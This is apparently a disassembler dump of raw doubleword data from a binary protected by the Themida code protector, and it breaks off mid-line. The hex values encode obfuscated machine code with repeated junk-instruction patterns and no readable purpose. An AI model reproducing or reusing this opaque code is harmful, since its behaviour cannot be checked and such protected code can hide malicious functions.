824C6380h, 0FE8B6684h, 8E9505Eh, 57000000h dd 0F4EAC41Ch, 9086CB5Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 18C35646h, 8BF7E7ECh, 3F5E9F2h, 0BD8B0000h dd 9351215h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 43BA0BC3h, 60573A42h, 0B52B6160h dd 9351699h, 0B58B5E61h, 93524D1h, 0F6070E6h, 6652D7BFh dd 615BDF8Bh, 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 860FEDC3h, 3, 0FF28B66h, 0FE8D8B6h dd 0B2000000h, 59A143AFh, 5C14FB1Bh, 0BA0F17Bh, 0BF0F71FEh dd 6BA5EF9h, 0BF000000h, 70FFE286h, 1D7DB531h, 0C38B0935h dd 0C1F98B66h, 6A04E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0F766E0C3h, 52006AE2h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 14A69284h dd 3A29CE81h, 9589706Ch, 9353261h, 2840Fh, 0F38B0000h dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0AD2A1DC3h, 8A050657h, 10E980h, 37DA0000h dd 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh, 5093C3D6h, 0DE9h dd 0A127EC00h, 0A0723295h, 765D9082h, 993B1B8h, 3510E185h dd 0EDB5FF09h, 0E8093528h, 9, 0C03F46F8h, 92B06C45h, 5DBD8B3Ah dd 5E093503h, 82995FFh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 781947C3h, 1E89B58Bh dd 0B00935h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0A9C35040h, 0F8DAC255h, 28E0Fh, 0F18B0000h, 8B6070E6h dd 35109D8Dh, 71E46109h, 830F613Ch, 22Bh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 36C35141h, 0A9E23E10h dd 7A5BCB45h, 85BF66DCh, 0D8B60FE1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 2CC35242h, 0F3DADFCEh, 0BABA3046h dd 6, 1D699509h, 0C38B0935h, 26B19D01h, 0E8C10935h, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 79D2987Dh, 0F67C5BBh, 0F766FEB7h, 56006AE2h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 2DFF0374h dd 898E88A8h, 350AD19Dh, 8BD82B09h, 351B61B5h, 0D1BE5809h dd 2B41FF44h, 60880FD8h, 8B000001h, 350E45B5h, 10E909h dd 2C140000h, 0BE5BBFA9h, 0CAFDF6EAh, 3DDDD60Fh, 7B92CB4h dd 0F000000h, 38Bh, 0F28B6600h, 6A00C183h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 1B9C350h dd 350CE19Dh, 0FD93B09h, 10A86h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 69592F1Fh dd 49353549h, 8C6626C9h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0CD07A97h, 8BF28B76h dd 4C1F6F0h, 0B3840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0C8EB39C3h, 799D3132h dd 3309350Ch, 352F99B5h, 7195FF09h, 6A093524h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 2CEFC355h, 0FFC003Ah, 38Eh, 0F88B6600h, 0B589FC5Bh dd 93504C5h, 0B70FC32Bh, 8343DF0h dd 860F0000h, 41h, 27F1BD8Bh, 38E90935h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 67BBC357h, 9589966Fh, 9351C11h, 6E960h, 87F30000h, 8CC48EEBh dd 0CF70BE66h, 8BC08B61h, 6AD88BC3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0EAE1C351h dd 0E0213A2Fh, 69426043h, 10BB60FCh, 109D8AEh, 3526998Dh dd 85C76109h, 9350B21h, 5FD93D7Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 30C35343h, 6FD3D4FDh, 89216162h dd 351DED85h, 89C08B09h, 351D9D8Dh, 0EDBD8109h, 0D0093528h dd 0F000007h, 4285h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 85FF8A0Dh, 93528EDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 55C35646h, 0FF993D20h dd 3528EDB5h, 0F6BF0F09h, 82995FFh, 0B70F0935h, 6A90F6h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 7A1837C3h, 10315FBh, 350BBD85h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0C54E937Dh dd 4D4C64DCh, 6A6D34h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0CAF063C3h, 0BD0B8A24h, 93525BDh dd 0CDBD2B57h, 5E09351Dh, 0FFBB70Fh, 38Bh, 0FFB70F00h dd 1F79BD8Bh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 6AE334C3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0CCE0C355h dd 89C53ADBh, 352555BDh, 0EE816609h, 0BE66CE1Ch, 81668376h dd 0E96EC9C6h, 6, 7012DFD6h, 8166A6B1h, 0E891C7E7h, 0Bh dd 2177A38Ah, 0D0856DBBh, 89DAD1E1h, 350A81B5h, 0F5B58909h dd 5E09352Ch, 0FFF76CE9h, 22BF66FFh, 6AC18B40h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0A536C351h, 153D0438h, 8926CE95h, 3527E9B5h, 820F09h dd 0EB000000h, 4, 0C5BD2B00h, 6A093502h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 2291C352h dd 85BD2B7Ch, 8D09350Ch, 35265985h, 0A1858909h, 9009352Eh dd 0A840F50h, 0F000000h, 48Dh, 0DBE6600h, 6A9046h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 297DAC3h, 6A7CAEDFh, 6A006A00h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2833C353h dd 858D2E0Ch, 9390E55h, 83FB8B66h, 895705C0h, 3524F59Dh dd 9D895F09h, 9351AC1h, 0E8905090h, 13h, 7E7AED37h, 0E5B96C9Ch dd 3B2F11D9h, 8687A832h, 290B91FBh, 35257985h, 6A5E09h dd 0FE9h, 33E96100h, 0B62A7C50h, 0AC77C816h, 4FC51EDh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 2CAAEDC3h, 0F0B70F67h, 31B52B53h, 5F09352Fh dd 33195FFh, 51520935h, 3FD8D89h, 5E5E0935h, 0ED9BD89h dd 9D8D0935h, 9389AABh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0B5C35040h, 0F526034Dh, 5DBD8B36h, 0E809352Ah dd 8, 814D932Ah, 7CAB548Fh, 22B9BD31h, 0FF5F0935h, 53006AD3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 85FF8CE1h, 9353009h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0DEC35040h, 498D8949h, 0E909352Ch, 823h dd 0E8h, 0ED815D00h, 9390E5Fh, 28EDBD81h, 7D00935h, 860F0000h dd 160h, 30118589h, 0BD8B0935h, 93516C9h, 101D9D8Bh, 6A0935h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 9BA5EBC3h, 0E381F18Bh, 100h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0E5C35747h, 0BD5A1EBDh, 0E96520ADh dd 13h, 3A14A9D3h, 0DEA0FE58h, 5E91040Ch, 90FF107Dh, 0BCD36B0h dd 9C850FDBh, 0F000000h, 689h, 0E5BD8B00h, 83093503h, 390CA7BDh dd 840F0009h, 2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0E3C35747h, 9A77F694h, 6CE91704h, 0F8000000h dd 0E1DBD8Bh, 85C70935h, 9390CA7h, 1, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0A7C35545h, 1DB4997h, 86EF00C3h dd 31E993h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 660511C3h, 0C7397FBFh, 390CA785h dd 9, 0A1B58B00h, 8D093522h, 35101D9Dh, 52006A09h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0C4CC5B25h, 59B2641Ah, 2192BE56h, 815E4C64h, 0FFFEFF23h dd 0F28B66FFh, 6ADB8C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 7A5BC353h, 9D8993DCh dd 93511C5h, 12E9h, 119DA500h, 0ECCE3BABh, 0A07B4D3Dh dd 0B8BBD635h, 0F6B2DABCh, 840F04C3h, 6Ah, 0B186B060h dd 95FF6149h, 9352471h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0F3C35545h, 0C4DB0685h, 22710FFBh, 90F98B1Ch dd 8B666050h, 2F99BFC6h, 906104FAh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 27C35545h, 94FB9BE3h, 55AF742Eh dd 3085B58Bh, 0F7E90935h, 0BF000003h, 8BD51DBh, 0F5300B0h dd 0E85h, 9E900h, 0EE680000h, 10C829CEh, 5E857B90h, 8E0F70E6h dd 5, 5DDE8166h, 6A71E4C5h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 9267C356h, 0ACBA8A97h dd 0D8B60F26h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0C7C35242h, 7E98Ah, 0FC7D0000h, 493202B0h, 6BA68h dd 8B660000h, 8BC38BF3h, 350075B5h, 4E8C109h, 12E8h, 6B429A00h dd 1CA20875h, 0FED4B221h, 6A4CAB04h, 66913F1Dh, 0DFA0EE81h dd 0E2F7665Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0E6C35545h, 5E986h, 0EBBD0000h, 2BFB1E6Ch, 81BD31D8h dd 5009350Dh, 65EF04BEh, 241C894Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 76C35747h, 0BE8h, 0E155AE00h dd 8EE0B65Ch, 0E927E473h, 3850F5Fh, 0F000000h, 0B5FFF7B7h dd 93528EDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0DDC35141h, 0C8563153h, 259501h, 0BF660935h, 95FF261Ah dd 9350829h, 8BFA8B60h, 35235DB5h, 0B06109h, 599B503h dd 70E60935h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 18C35646h, 0E4D49292h, 5850F71h, 0BE000000h, 4095D570h dd 830F613Ch, 25Eh, 0DC5B58Bh, 0B60F0935h, 56006AD8h, 3E8h dd 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8B921951h, 35239DB5h dd 6BA09h, 8BBF0000h, 8B215DD5h, 0BD8B60C3h, 9350AE1h dd 61C88B66h, 0BE04E8C1h, 1A22152Ch, 6AE2F766h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 8CC8C351h, 0E8B9B918h, 282323CCh, 1B61B58Bh, 0D82B0935h dd 0E558589h, 12E90935h, 84000000h, 654EF3C2h, 14CB4027h dd 116916Ch, 4A0078F0h, 0BD8B5886h, 9350421h, 880FD82Bh dd 1B6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 62C35646h, 66577DB8h, 5F7922BEh, 7B9h, 10E800h dd 0A3480000h, 0DA77B6ADh, 0C8F4509Bh, 4DA818F5h, 8E9CEB8h dd 1D000000h, 3DC193FEh, 5E574B30h, 6A00C183h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 8BDBC352h, 4CB56CB8h, 8A0FE7CCh, 6, 0E399501h, 0D93B0935h dd 130860Fh, 95310000h, 9350055h, 81D98C66h, 0BDC14CCEh dd 4C1F635h, 0EE840Fh, 89600000h, 35332D95h, 13E909h, 2E2F0000h dd 61B5DB1Dh, 10D4BCF2h, 2281360Ch, 0A329DCCh, 95FF61B8h dd 9352471h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0B1C35242h, 0E1BD895Bh, 2B093528h, 53006AC3h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0ABA0D127h, 946DA38h, 0D78150C3h, 8757C72h, 5ABE665Fh dd 8343DD7h, 860F0000h, 68h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0BFC35646h, 9195E6DCh, 0D5A5E59Dh dd 0A6DE8166h, 64E90Dh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 3821E2C3h, 25EF8060h dd 12E961h, 0A8A80000h, 0CF959CFDh, 0BE4F1A31h, 0FCE75B76h dd 35F4BBC2h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0C015E6C3h, 8166F2BBh, 66A2F5DFh dd 0C38BF78Bh, 0E860D88Bh, 0Bh, 0FFBC4DBh, 0A11C2271h dd 8118057Ch, 37BE09D0h, 0C7805972h, 85C761ADh, 93500D5h dd 5AAB4711h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 8BC35545h, 8BF4FD10h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 5EF0771Ch dd 94D1930Eh, 9D31503Ch, 93521B5h, 0FEBF0F5Fh, 28EDBD81h dd 7D00935h, 850F0000h, 9, 28ED85FFh, 8B660935h, 0EDB5FFF9h dd 6A093528h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 769CC351h, 0A4327FB9h, 0FBA61ADh dd 0C87h, 6820F00h, 31000000h, 351D01BDh, 2995FF09h, 0B093508h dd 35065DB5h, 0E7819009h, 359FF292h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 21C35545h, 0F522134h, 585h dd 28BABF00h, 6A5E49AAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0A5CC351h, 8D0F4722h dd 7, 2E258529h, 0F8F90935h, 300DBD89h, 0BD8B0935h, 935164Dh dd 0DD4CEF81h, 6A2E8Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0C4C75C3h, 20466332h, 66E42EC4h dd 8B0D54BEh, 0CE9F2h, 68950000h, 92254A69h, 8DB2705Dh dd 0BD8BC762h, 93502BDh, 0DE8h, 43726700h, 9E2AF47Ah, 76641EFFh dd 57BE55F1h, 5E31FE22h, 7E9h, 0BEF7B00h, 98AF010Fh, 11E8h dd 267B800h, 0FC8BCF8Fh, 5752AC06h, 73C01D25h, 8B5E94F6h dd 352849BDh, 75958909h, 0F09350Bh, 1387h, 11BD8B00h, 0E909352Ch dd 8, 0D62682E6h, 91082AB6h, 0FFF7E3E9h, 459D89FFh, 8B093517h dd 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 4B68A796h, 0BED582AFh, 870F60BCh, 6, 1DCD8589h dd 4EB0935h, 0 dd 639BD8Bh, 0BD2B0935h, 9351C15h, 2659858Dh, 6A0935h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 6660D3C3h, 0A26DC081h, 8D0F57h, 58000000h, 0BE509061h dd 5024FC61h, 9E9505Eh, 0A6000000h, 0C862D486h, 4E99F303h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 27C63317h, 0FE8B32Bh, 6AF3B7h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6EC35242h, 65F0C472h dd 8501006Ah, 9350365h, 1872858Dh, 6A0939h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8392E8C3h dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0C3D1A8C3h, 0BB0D6C50h, 860F2E09h, 1, 8950FCF5h dd 0BE82404h, 9C000000h, 0F211F234h, 0C835AA8Ch, 0B70FFD2Ch dd 6A5EF8h, 3820F60h, 66000000h, 0E881C38Bh, 35A7E588h dd 6A006A61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 8DEFC353h, 17A5BD8Bh, 95FF0935h dd 9350331h, 0EE9h, 9D948000h, 6CFCF90Ah, 0D49AE719h, 8DB05346h dd 389AAB9Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 67AAD642h, 0BB62964h, 85FFD3FFh dd 9353009h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0ABC35343h, 1D0C8D8Ch, 7E9h, 0C4705F00h, 477F74FEh dd 7DEE9h, 0E800h, 815D0000h, 39187CEDh, 55006A09h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 46FE06AEh, 0B70FC955h, 61BD8BF2h, 81093523h, 3528EDBDh dd 7D009h, 4C860F00h, 66000001h, 8B7E8CBFh, 3516D19Dh dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0E381F7B0h, 100h, 0FB9BD8Bh, 0DB0B0935h dd 0DD850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 830987C3h, 3916B2BDh, 840F0009h dd 66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h dd 9AC35747h, 0C9B58B9Eh, 0E909352Fh, 9Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5AC35747h, 68E93469h dd 10E8F84Dh, 0AC000000h, 0DBA24171h, 34B88320h, 0C05C0BAEh dd 2909F078h, 35249D9Dh, 85C75E09h, 93916B2h, 1, 0D5958B60h dd 0F09350Bh, 48Ch, 0A0B86600h, 3DE961EBh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0F3E7C350h, 0FD9F8DDh, 686h, 61B58B00h, 0C7093527h dd 3916B285h, 9, 0F9BD8B00h, 0F8093505h, 16D19D8Dh, 66530935h dd 5FCD4FBFh, 0FEFF2381h, 0CE9FFFFh, 0CF000000h, 4BBC5773h dd 0F5E36963h, 66EFFE41h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0BB54DFC3h, 0F04C3F6h dd 8684h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 94039B8Bh, 605A44D6h, 12DF7EB8h dd 3880F6Dh, 80000000h, 0FF616BEAh, 35247195h, 8B666009h dd 8B6660D6h, 0E96161F7h, 10h, 0B1F5D3BAh, 98E9C431h, 0D7245D9Eh dd 3A471BC5h, 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0E1C35747h, 0B8B6C4E8h, 0D1B11571h, 3995898Ah dd 0E9093532h, 3B9h, 2655B589h, 0B00935h, 2D099D01h, 70E60935h dd 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FF91AC3h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 583094C3h, 6BAFC74h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 4D66C351h, 8B37D7B6h, 6E9C3h dd 0C97D0000h, 460C40D2h, 6A04E8C1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0ECF5C352h dd 34A9752h, 8B169075h, 350AF1BDh, 0E2F76609h, 5840Fh dd 81660000h, 2B49ACD7h, 0BF5693D8h, 64526670h, 8B66505Eh dd 6A93F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 504613C3h, 5EF2B70Fh, 28EDB5FFh, 810F0935h dd 0 dd 82995FFh, 0BD8B0935h, 93526A9h, 0BD8900B0h, 93531EDh dd 8E0F70E6h, 6, 135B533h, 71E40935h, 830F613Ch, 291h dd 13E8h, 25223000h, 0CAA36F3Ah, 0BDB822F5h, 48275D73h dd 64987F9Fh, 0D8B60F5Eh, 266DB50Bh, 0BAFC0935h, 6, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C9C35141h, 0BD8BFCA3h dd 935006Dh, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 7315ABC3h, 858960B5h, 9351C1Dh dd 2B7FB1BBh, 0E8C16173h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B378F7Ah dd 350F19B5h, 0E2F76609h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 32C35545h, 1C5848DAh, 26C4D8B7h, 1B84BEB0h dd 0D82B3334h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 33C35747h, 0A4D7FD45h, 66587AB0h, 0D82BF98Bh, 193880Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0B58B58C3h, 9351161h, 12619509h, 7B90935h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 9EDCC353h, 60607F79h, 8A0Fh, 858B0000h dd 9351601h, 0D58D8961h, 61093510h, 2EE19589h, 0C1830935h dd 7E900h, 310D0000h, 3F9F08C8h, 0FD93BE3h, 11486h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 17879F20h, 19E68166h, 0D98C66E2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0FFC35646h, 3141FE5Bh, 0FE9F874h dd 0CA000000h, 17249DF6h, 62828A8Fh, 0D3353776h, 0C1F689FEh dd 0A6840F04h, 60000000h, 0CE8h, 10CED700h, 98C99366h dd 0F99127Eh, 0F985012Fh, 58093502h, 0FF61CE8Bh, 35247195h dd 11850109h, 5B09352Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 2C35646h, 0E97E70D9h, 12h, 71FFB7E9h dd 0CD6F04B2h, 36693C56h, 88C9A304h, 8166CB19h, 2B4CBEDEh dd 198529C3h, 3D093503h, 834h, 2F860Fh, 0D6810000h, 78FFC85Bh dd 2CE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 1ADB6C56h, 0BF0F28B1h, 81C08BFAh dd 0F1D350E6h, 8BC38B48h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0F9C52D0Ah dd 0B182B305h, 101D85C7h, 0D9150935h, 0EF815809h, 1A219BDCh dd 8B66C08Bh, 0EDBD81FBh, 0D0093528h, 0F000007h, 2585h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0FFEFF8E3h, 3528ED85h, 0B5FFF809h, 93528EDh dd 496924BEh, 2995FF77h, 6A093508h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B317C350h dd 8BF40694h, 350BF9B5h, 6810F09h, 89000000h, 351BFD9Dh dd 6A9009h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 5FB916C3h, 90851C1h, 350E61BDh, 0B98D8909h dd 0F509350Ch, 0CE9h, 0C39EE600h, 0F444D837h, 3722DA0Ch dd 51006A41h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0E5BD89E7h, 66093516h, 8D89FE8Bh, 9351251h dd 2CC9B523h, 85890935h, 9350A25h, 0D820Fh, 66600000h dd 668477BEh, 0BA66F28Bh, 6A61CEC0h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E1F4C352h dd 0E960A8CDh, 8, 7194C50h, 0BDA5FDF3h, 3D8D8Bh, 0BB660935h dd 0F61950Bh, 685h, 11BD0B00h, 8B093527h, 351089BDh, 6AF28B09h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 43B3C356h, 0F58BD685h, 68B0FF9h, 8B000000h dd 351EC9BDh, 0F843E909h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 82A628C3h, 8BC1BD66h dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0EBBFAC29h, 4, 45B58B00h, 0E9093527h, 7 dd 423B1F7Bh, 0FC2EA82h, 858DF9B7h, 9352659h, 0DDCE8166h dd 6E8909Eh, 0B1000000h, 9050F725h, 5F56503Bh, 8B505F5Eh dd 6A90F8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8B69D4C3h, 352C45BDh, 10E909h, 577C0000h dd 0EDFAADDFh, 9D4BC67Fh, 9AE40827h, 6ADB33h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B5C35747h, 0B58BED9Ch dd 9350D25h, 0BD8B006Ah, 9352FC5h, 221B858Dh, 83F50939h dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 205A43C3h, 2BB59589h, 52500935h, 9E45BE66h dd 2404895Fh, 40A4D681h, 6A68E8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0D1C35141h, 90625C6h, 3530259Dh dd 6D852909h, 6A093501h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0A948819Ch, 0EAF6F681h dd 95FF5D9Bh, 9350331h, 8E8h, 50100800h, 0FD623393h, 0E1BD8B1Eh dd 5F09350Fh, 9AAB9D8Dh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0F28A5FC3h, 8E9h, 86383700h dd 2C348606h, 6870F49h, 29000000h, 3500C5B5h, 52D3FF09h dd 1601B589h, 0FF5E0935h, 35300985h, 6850F09h, 31000000h dd 350529B5h, 8C0E909h, 0E80000h, 5D000000h, 2225ED81h dd 0B50B0939h, 9351F2Dh, 68E0Fh, 0BD8B0000h, 9352FB1h dd 28EDBD81h, 7D00935h, 860F0000h, 10Eh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 8AC35646h, 0F99D8BA4h dd 8109350Ch, 100E3h, 0BD8B5100h, 9352389h, 0FDB0B5Eh dd 7585h, 0F5B58B00h, 8309350Dh, 392077BDh, 840F0009h dd 4Ah, 36F1F681h, 6DE93273h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5092C350h dd 886AC965h, 0F9B70F60h, 11E960h, 356F0000h, 778B887Bh dd 0A4B60819h, 0B43C1361h, 8A8A89EDh, 85C761F5h, 9392077h dd 1, 1D9DBD89h, 19E90935h, 0F000000h, 85C7F7BFh, 9392077h dd 0 dd 2BAD9589h, 8D890935h, 9352331h, 0CF99D8Dh, 6A0935h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 75C79EC3h, 63320C4Ch, 0EE82046h, 32000000h, 0B5CCDAFEh dd 0E754ABACh, 552BB12Fh, 0E781669Ch, 815F9629h, 0FFFEFF23h dd 8C66F8FFh, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 9624167Ah, 4CC1B6Ch, 831BD8Bh, 0C3F60935h dd 48840F04h, 6A000000h, 3E85100h, 20000000h dword_580968 dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 66AEC351h ; DATA XREF: Themida_:off_5584A6o dd 3A77CF81h, 247195FFh, 0BD8B0935h, 935033Dh, 6FBE6690h dd 0E86050F8h, 6, 125C9D5Eh, 615F3EDFh, 0E1B52990h, 0E9093505h dd 4C7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0E7C35343h, 16F08B8h, 0C65BA70Fh, 6A00B09Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 90FBC350h, 68E0Fh, 0D6810000h, 4CDF3873h, 2E418589h dd 70E60935h, 324DB58Bh, 71E40935h, 0B58BF28Bh, 93521F5h dd 